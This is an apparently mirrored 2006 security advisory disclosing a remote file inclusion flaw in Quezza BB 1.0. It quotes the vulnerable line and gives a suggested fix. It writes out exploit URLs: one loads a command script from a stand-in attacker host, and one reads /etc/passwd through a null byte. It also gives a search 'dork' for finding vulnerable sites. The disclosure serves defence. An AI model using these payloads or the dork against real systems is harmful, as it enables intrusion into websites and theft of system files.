Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12712
HistoryMay 17, 2006 - 12:00 a.m.

Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.

2006-05-1700:00:00
vulners.com
32

–Security Report–
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 17/05/06 05:37 AM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: Quezza (http://www.quezza.com/&#41;
Version: 1.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to
Quezza.quezza_root_path variable in class_template.php
did not sanitized before using it.You can find vulnerable code in
class_template.php at line 21
-Source in class_template.php-
21: include($quezza_root_path . 'includes/template.' . $phpEx);
-End of source-
Fixing this vulnerability so easy turn off register_globals and add
this code to source before line 21
if ( !defined('IN_QUEZZA') )
{
die('Hacking attempt');
}
Level: Highly Critical

How&Example:
Succesful exploitation needs allow_url_fopen set to 1 and register_globals on
GET ->
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=[FILE]
EXAMPLE ->
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
If magic_quotes_gpc off remote attacker can include local files too
EXAMPLE ->
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00

Timeline:

  • 17/05/2006: Vulnerability found.
  • 17/05/2006: Contacted with vendor and waiting reply.

Exploit:
Click here and get exploit for this advisory

Dorks: "Powered by Quezza"